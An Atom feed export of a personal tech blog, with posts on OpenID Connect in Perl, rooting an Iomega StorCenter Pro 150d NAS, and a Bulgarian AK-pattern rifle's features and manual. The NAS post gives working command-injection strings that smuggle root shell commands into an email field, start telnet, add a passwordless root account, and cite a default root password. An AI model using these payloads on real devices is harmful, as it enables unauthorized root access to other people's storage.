<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-2787250666802991949</id><updated>2025-10-29T20:01:22.036-07:00</updated><category term="Technology"/><category term="Postgresql"/><category term="Blogger"/><category term="Database"/><category term="Economics"/><category term="Linux"/><category term="Perl"/><category term="Ubuntu"/><category term="Blogspot"/><category term="C++"/><category term="Encode HTML"/><category term="Escape HTML"/><category term="FreeNX"/><category term="HTML Entities"/><category term="Syntax Highlighting"/><category term="150d manual"/><category term="64bit linux"/><category term="AK47"/><category term="Arms"/><category term="Arsenal"/><category term="Bash"/><category term="Browser Dimensions"/><category term="Bulgarian"/><category term="C"/><category term="Change Resolution"/><category term="Change Window Size"/><category term="Code Highlighting"/><category term="Constant"/><category term="Decode Parameter"/><category term="Dell 2408WFP"/><category term="Encode Parameter"/><category term="Encode URL"/><category term="Encoding HTML"/><category term="Encrypted Filesystem"/><category term="Encrypted Loop Device"/><category term="Escape Parameter"/><category term="Escape URL"/><category term="Escaping HTML"/><category term="Exclude Visits"/><category term="Firefox"/><category term="Foreign Key"/><category term="Google Analytics"/><category term="HTML Entity"/><category term="HTML Literal"/><category term="HTML::Entities"/><category term="HTTP::Proxy"/><category term="Hack NAS"/><category term="Ignore Me"/><category term="Ignore Visits"/><category term="Indexes"/><category term="Iomega"/><category term="LMOPX"/><category term="LMVTX"/><category term="LUKS Encryption"/><category term="LWP"/><category term="Legg Mason"/><category term="MUHLX"/><category term="Mac"/><category term="Make Password"/><category term="Muhlenkamp"/><category term="Multiple Copies"/><category term="Multiple Instances"/><category term="Multiple Profiles"/><category term="Network Attached Storage"/><category term="OIDC"/><category term="OS X"/><category term="OSX"/><category term="PI Approximation"/><category term="Password Generator"/><category term="Patch"/><category term="Performance"/><category term="Post HTML"/><category term="Q"/><category term="Q-Ratio"/><category term="Query Parameter"/><category term="Remote Desktop"/><category term="Resize Browser"/><category term="Root"/><category term="SAM7R"/><category term="SAM7R-61"/><category term="SAM7R-61C"/><category term="SSH Tunnel"/><category term="SSO"/><category term="Secure Password"/><category term="Shell Function"/><category term="Stock Market Valuation"/><category term="StorCenter Pro 150d"/><category term="Strip Spaces"/><category term="Strip Whitespace"/><category term="Table Formatting"/><category term="Testing"/><category term="Tobin&#39;s Q"/><category term="Tor"/><category term="Trim Spaces"/><category term="Trim Whitespace"/><category term="Unescape Parameter"/><category term="Unix"/><category term="VNC"/><category term="Windows"/><category term="acos"/><category term="adobe air"/><category term="arccosine"/><category term="change tabs to spaces"/><category term="convert tabs"/><category term="download video"/><category term="download youtube"/><category term="facebook"/><category term="federated identity"/><category term="federated login"/><category term="find foreign keys"/><category term="find missing indexes"/><category term="google"/><category term="iconv"/><category term="iomega storcenter pro 150d"/><category term="libwww"/><category term="list foreign keys"/><category term="monitor calibration"/><category term="oauth"/><category term="open id"/><category term="openid"/><category term="openid connect"/><category term="pg_dump"/><category term="profile"/><category term="proxy"/><category term="save youtube video"/><category term="single sign-on"/><category term="socks"/><category term="ssh"/><category term="tabs to spaces"/><category term="telnet"/><category term="test database"/><category term="yahoo"/><title type='text'>MLA Wire</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://mlawire.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default'/><link rel='alternate' type='text/html' href='http://mlawire.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default?start-index=26&amp;max-results=25'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>36</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-2787250666802991949.post-8746725437347253323</id><published>2013-11-29T21:08:00.000-08:00</published><updated>2013-12-14T11:01:17.243-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="facebook"/><category scheme="http://www.blogger.com/atom/ns#" term="federated identity"/><category scheme="http://www.blogger.com/atom/ns#" term="federated login"/><category scheme="http://www.blogger.com/atom/ns#" term="google"/><category scheme="http://www.blogger.com/atom/ns#" term="oauth"/><category scheme="http://www.blogger.com/atom/ns#" term="OIDC"/><category scheme="http://www.blogger.com/atom/ns#" term="open id"/><category scheme="http://www.blogger.com/atom/ns#" term="openid"/><category scheme="http://www.blogger.com/atom/ns#" term="openid connect"/><category scheme="http://www.blogger.com/atom/ns#" term="Perl"/><category scheme="http://www.blogger.com/atom/ns#" term="profile"/><category scheme="http://www.blogger.com/atom/ns#" term="single sign-on"/><category scheme="http://www.blogger.com/atom/ns#" term="SSO"/><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><category scheme="http://www.blogger.com/atom/ns#" term="yahoo"/><title type='text'>OpenID Connect with Perl</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: right; margin-left: 1em; text-align: right;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjE1hY85zG5mDA-FePAvg7PRlfGP4-S7wcOu4b24YUgn3nKTWc2u44Bl0J4t_MAaZjOFujwAl5orUh-UfQq8gpMCiORcTsvRQPBTTFZpWdJoDd3KA_k0FQRFivgK-Q21NI46nAhRumX258/s1600/perl-openid-connect-google-consent-screen.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjE1hY85zG5mDA-FePAvg7PRlfGP4-S7wcOu4b24YUgn3nKTWc2u44Bl0J4t_MAaZjOFujwAl5orUh-UfQq8gpMCiORcTsvRQPBTTFZpWdJoDd3KA_k0FQRFivgK-Q21NI46nAhRumX258/s320/perl-openid-connect-google-consent-screen.png&quot; width=&quot;271&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Screenshot of Google consent screen&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;a href=&quot;http://openid.net/connect/&quot; target=&quot;_blank&quot;&gt;OpenID Connect&lt;/a&gt; is a new federated authentication and authorization protocol based on OAuth 2.0. The specification hasn&#39;t been finalized yet, but is expected soon.&lt;br /&gt;
&lt;br /&gt;
Perl support is available through the OIDC::Lite module written by Ryo Ito. You can fetch it through&amp;nbsp;&lt;a href=&quot;http://search.cpan.org/dist/OIDC-Lite/&quot; target=&quot;_blank&quot;&gt;CPAN&lt;/a&gt; or directly from Ryo&#39;s&amp;nbsp;&lt;a href=&quot;https://github.com/ritou/p5-oidc-lite&quot; target=&quot;_blank&quot;&gt;github repository&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
The&amp;nbsp;&lt;a href=&quot;https://github.com/ritou/p5-oidc-lite-demo-client&quot; target=&quot;_blank&quot;&gt;OIDC::Lite::Demo::Client&lt;/a&gt; package provides example code for a bunch of providers (as of this writing, there&#39;s support for Google, Facebook, Microsoft, Yahoo Japan, and the Japanese social networking site Mixi).</content><link rel='replies' type='application/atom+xml' href='http://mlawire.blogspot.com/feeds/8746725437347253323/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/2787250666802991949/8746725437347253323' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/8746725437347253323'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/8746725437347253323'/><link rel='alternate' type='text/html' href='http://mlawire.blogspot.com/2013/11/perl-and-openid-connect.html' title='OpenID Connect with Perl'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjE1hY85zG5mDA-FePAvg7PRlfGP4-S7wcOu4b24YUgn3nKTWc2u44Bl0J4t_MAaZjOFujwAl5orUh-UfQq8gpMCiORcTsvRQPBTTFZpWdJoDd3KA_k0FQRFivgK-Q21NI46nAhRumX258/s72-c/perl-openid-connect-google-consent-screen.png" height="72" width="72"/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2787250666802991949.post-4479166120403643827</id><published>2013-09-02T22:47:00.000-07:00</published><updated>2015-05-23T16:08:29.639-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="150d manual"/><category scheme="http://www.blogger.com/atom/ns#" term="Hack NAS"/><category scheme="http://www.blogger.com/atom/ns#" term="Iomega"/><category scheme="http://www.blogger.com/atom/ns#" term="iomega storcenter pro 150d"/><category scheme="http://www.blogger.com/atom/ns#" term="Network Attached Storage"/><category scheme="http://www.blogger.com/atom/ns#" term="Root"/><category scheme="http://www.blogger.com/atom/ns#" term="ssh"/><category scheme="http://www.blogger.com/atom/ns#" term="StorCenter Pro 150d"/><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><category scheme="http://www.blogger.com/atom/ns#" term="telnet"/><title type='text'>Hacking the Iomega StorCenter Pro 150d NAS</title><content type='html'>The StorCenter Pro 150d&amp;nbsp;is a circa 2007 network-attached storage device (NAS) from Iomega which, frustratingly, does not provide shell access.&lt;br /&gt;
&lt;br /&gt;
I had a problem with AFP (Apple Filing Protocol) not working but managed to get root access to fix it (turned out to be an orphaned pid file which wasn&#39;t being removed on boot, and which was preventing the service from starting).&lt;br /&gt;
&lt;br /&gt;
The 150d has a vulnerability in how it handles email addresses within the alerts interface:&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinbRL7jyoQiKBWoGVlTMeXAj44oiftvzXmnRiWuKHcWyXGKG57VZsXmBrU6ityCV_RQhmezHkarRShfIkTnbJO-eGQhbdAnW2jAuJ6TrO_iKbkOviPGdx-YMCDpH6QB9ngrzezJE6h0Co/s1600/hack-150d-alerts.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;434&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinbRL7jyoQiKBWoGVlTMeXAj44oiftvzXmnRiWuKHcWyXGKG57VZsXmBrU6ityCV_RQhmezHkarRShfIkTnbJO-eGQhbdAnW2jAuJ6TrO_iKbkOviPGdx-YMCDpH6QB9ngrzezJE6h0Co/s640/hack-150d-alerts.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Screenshot of the StorCenter Pro 150d&#39;s Alerts Interface&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
You can append any arbitrary command between backticks and it will be dutifully executed as root when you click the &quot;Send Test Mail&quot; button.&lt;br /&gt;
&lt;br /&gt;
It turns out that the StorCenter Pro 150d has a telnet daemon available through inetd. So all we need to do is start that, add a passwordless root account, and we can pop right in.,&lt;br /&gt;
&lt;br /&gt;
Here are the commands that worked for me, but &lt;i&gt;&lt;b&gt;use them at your own risk&lt;/b&gt;&lt;/i&gt;. Click &quot;Send Test Mail&quot; after entering each one. The null@[192.168.0.18] address is arbitrary -- any email address should work there.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;UPDATE&lt;/b&gt;: See the comment from&amp;nbsp;@&lt;a href=&quot;http://www.blogger.com/profile/18338008708554163880&quot;&gt;George Kopf&lt;/a&gt; below. Apparently the default root password is simply the number &#39;1&#39;, so you probably don&#39;t need to create the additional account. Just start the telnet daemon and try logging in as user &#39;root&#39; with password &#39;1&#39;.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;a class=&quot;mailto&quot; href=&quot;mailto:null@[192.168.0.18&quot; title=&quot;null@[192.168.0.18&quot;&gt;null@[192.168.0.18&lt;/a&gt;]`mount -t devpts devpts /dev/pts  &amp;gt;&amp;gt; /nethdd/public/hacknas.log 2&amp;gt;&amp;amp;1 &amp;amp;`&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;
&lt;/span&gt; &lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;a class=&quot;mailto&quot; href=&quot;mailto:null@[192.168.0.18&quot; title=&quot;null@[192.168.0.18&quot;&gt;null@[192.168.0.18&lt;/a&gt;]`nohup /bin/inetd /etc/inetd.conf  &amp;gt;&amp;gt; /nethdd/public/hacknas.log 2&amp;gt;&amp;amp;1 &amp;amp;`&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;
&lt;/span&gt; &lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;a class=&quot;mailto&quot; href=&quot;mailto:null@[192.168.0.18&quot; title=&quot;null@[192.168.0.18&quot;&gt;null@[192.168.0.18&lt;/a&gt;]`echo &#39;root2::0:0:administrator:/mnt/0:/bin/sh&#39; &amp;gt;&amp;gt;/etc/passwd`&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
If you have the /public share of your NAS mounted somewhere, you can watch the hacknas.log file to see any error messages.&lt;br /&gt;
&lt;br /&gt;
Once done, you should be able to telnet in:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;$ telnet nas&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;Trying 192.168.0.20...&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;Connected to 192.168.0.20.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;Escape character is &#39;^]&#39;.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;
&lt;/span&gt; &lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;Linux 2.6.13 (obi) (pts/0)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;
&lt;/span&gt; &lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;nas login: root2&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;
&lt;/span&gt; &lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;
&lt;/span&gt; &lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;BusyBox v1.00 (BUILDTIME) Built-in shell (ash)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;Enter &#39;help&#39; for a list of built-in commands.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;
&lt;/span&gt; &lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;-sh: can&#39;t access tty; job control turned off&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;~ #&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;
System info:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;# cat /proc/cpuinfo&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;processor&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;: 0&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;cpu&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;: e300&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;revision&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;: 1.1 (pvr 8083 0011)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;bogomips&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;: 263.16&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;chipset&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;: 8347E&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;Vendor&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;: Freescale Inc.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;Machine&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;: mpc8347E sys&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;core clock&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;: 396 MHz&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;bus &amp;nbsp;clock&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;: 264 MHz&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;PVR&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;: 0x80830011&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;SVR&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;: 0x80520011&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;PLL setting&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;: 0x6&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;Memory&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;: 256 MB&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
For reference, here is the&amp;nbsp;&lt;a href=&quot;https://drive.google.com/file/d/0B6T_Fp4sxlsAeGR4WGpMWjl0Z0E/view?usp=sharing&quot;&gt;Iomega 150d manual&lt;/a&gt;.&lt;/div&gt;
&lt;br /&gt;
Thanks to Jim Buzbee for &lt;a href=&quot;http://www.smallnetbuilder.com/content/view/30034/75/1/5/&quot;&gt;identifying the alert vulnerability&lt;/a&gt;, and asysadm for &lt;a href=&quot;http://forum.nas-central.org/viewtopic.php?f=41&amp;amp;t=2002&quot;&gt;his post on modifying the NFS export options.&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://mlawire.blogspot.com/feeds/4479166120403643827/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/2787250666802991949/4479166120403643827' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/4479166120403643827'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/4479166120403643827'/><link rel='alternate' type='text/html' href='http://mlawire.blogspot.com/2013/09/hacking-iomega-storcenter-pro-150d-nas.html' title='Hacking the Iomega StorCenter Pro 150d NAS'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinbRL7jyoQiKBWoGVlTMeXAj44oiftvzXmnRiWuKHcWyXGKG57VZsXmBrU6ityCV_RQhmezHkarRShfIkTnbJO-eGQhbdAnW2jAuJ6TrO_iKbkOviPGdx-YMCDpH6QB9ngrzezJE6h0Co/s72-c/hack-150d-alerts.png" height="72" width="72"/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2787250666802991949.post-129299877055561813</id><published>2013-03-15T23:57:00.003-07:00</published><updated>2013-03-16T14:52:23.965-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="AK47"/><category scheme="http://www.blogger.com/atom/ns#" term="Arms"/><category scheme="http://www.blogger.com/atom/ns#" term="Arsenal"/><category scheme="http://www.blogger.com/atom/ns#" term="Bulgarian"/><category scheme="http://www.blogger.com/atom/ns#" term="SAM7R"/><category scheme="http://www.blogger.com/atom/ns#" term="SAM7R-61"/><category scheme="http://www.blogger.com/atom/ns#" term="SAM7R-61C"/><title type='text'>Arsenal SAM7R Instruction Manual</title><content type='html'>&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;The SAM7R-61 is a&amp;nbsp;high quality &lt;/span&gt;&lt;span style=&quot;background-color: white; font-family: Arial, Helvetica, sans-serif;&quot;&gt;B&lt;/span&gt;&lt;span style=&quot;background-color: white; font-family: Arial, Helvetica, sans-serif;&quot;&gt;ulgarian-made AK47 rifle chambered in 7.62x39mm. It features a milled receiver and a chrome lined hammer-forged barrel.&lt;/span&gt;&lt;br /&gt;
&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: right; margin-top: 4em; text-align: right;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFRxfboVJdrxve2R67Bu6Q8-cxKMQ4cjMVH72QGu8fVp54uGrHa4DSYf0MNLqGTO1FoZKNV6fXUq5X3Ao0yHP04P7uedR_wp0PXB6e-Sn7gt8CTgne5tbr4QEK6T6YreNDGTKsVX3YZSQ/s1600/SAM7R-61.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img alt=&quot;Arsenal SAM7R-61&quot; border=&quot;0&quot; height=&quot;99&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFRxfboVJdrxve2R67Bu6Q8-cxKMQ4cjMVH72QGu8fVp54uGrHa4DSYf0MNLqGTO1FoZKNV6fXUq5X3Ao0yHP04P7uedR_wp0PXB6e-Sn7gt8CTgne5tbr4QEK6T6YreNDGTKsVX3YZSQ/s320/SAM7R-61.jpg&quot; title=&quot;&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Arsenal SAM7R-61&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;/span&gt;

&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white; color: #666666; font-family: arial, helvetica, sans-serif; line-height: 19.59375px;&quot;&gt;14mm muzzle threads&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white; color: #666666; font-family: arial, helvetica, sans-serif; line-height: 19.59375px;&quot;&gt;muzzle break&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white; color: #666666; font-family: arial, helvetica, sans-serif; line-height: 19.59375px;&quot;&gt;cleaning rod&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white; color: #666666; font-family: arial, helvetica, sans-serif; line-height: 19.59375px;&quot;&gt;bayonet lug&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white; color: #666666; font-family: arial, helvetica, sans-serif; line-height: 19.59375px;&quot;&gt;black polymer furniture&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white; color: #666666; font-family: arial, helvetica, sans-serif; line-height: 19.59375px;&quot;&gt;intermediate length buttstock&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white; color: #666666; font-family: arial, helvetica, sans-serif; line-height: 19.59375px;&quot;&gt;scope rail&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white; color: #666666; font-family: arial, helvetica, sans-serif; line-height: 19.59375px;&quot;&gt;one 10-round magazine&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white; color: #666666; font-family: arial, helvetica, sans-serif; line-height: 19.59375px;&quot;&gt;sling&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white; color: #666666; font-family: arial, helvetica, sans-serif; line-height: 19.59375px;&quot;&gt;oil bottle&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white; color: #666666; font-family: arial, helvetica, sans-serif; line-height: 19.59375px;&quot;&gt;cleaning kit&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: arial, helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;line-height: 19.59375px;&quot;&gt;&lt;br /&gt;The SAM7R also comes in a California compliant model (the SAM7R-61C) that has a non-detachable magazine (you need to &lt;a href=&quot;http://www.k-var.com/shop/CA-Compliant-Firearms&quot;&gt;use their provided tool to release the mag&lt;/a&gt;).&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;-x-system-font: none; display: block; font-family: Helvetica,Arial,Sans-serif; font-size-adjust: none; font-size: 14px; font-stretch: normal; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; margin: 12px auto 6px auto;&quot;&gt;
&lt;a href=&quot;http://www.scribd.com/doc/130677929/Arsenal-SAM7R-Instruction-Manual&quot; style=&quot;text-decoration: underline;&quot; title=&quot;View Arsenal SAM7R Instruction Manual on Scribd&quot;&gt;Arsenal SAM7R Instruction Manual&lt;/a&gt;&lt;/div&gt;
&lt;iframe class=&quot;scribd_iframe_embed&quot; data-aspect-ratio=&quot;0.715873015873016&quot; data-auto-height=&quot;false&quot; frameborder=&quot;0&quot; height=&quot;600&quot; id=&quot;doc_55416&quot; scrolling=&quot;no&quot; src=&quot;http://www.scribd.com/embeds/130677929/content?start_page=1&amp;amp;view_mode=scroll&amp;amp;access_key=key-1bpr8lc0u4ax1mjxnm4l&quot; width=&quot;100%&quot;&gt;&lt;/iframe&gt;</content><link rel='replies' type='application/atom+xml' href='http://mlawire.blogspot.com/feeds/129299877055561813/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/2787250666802991949/129299877055561813' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/129299877055561813'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/129299877055561813'/><link rel='alternate' type='text/html' href='http://mlawire.blogspot.com/2013/03/arsenal-sam7r-manual-ak47.html' title='Arsenal SAM7R Instruction Manual'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" 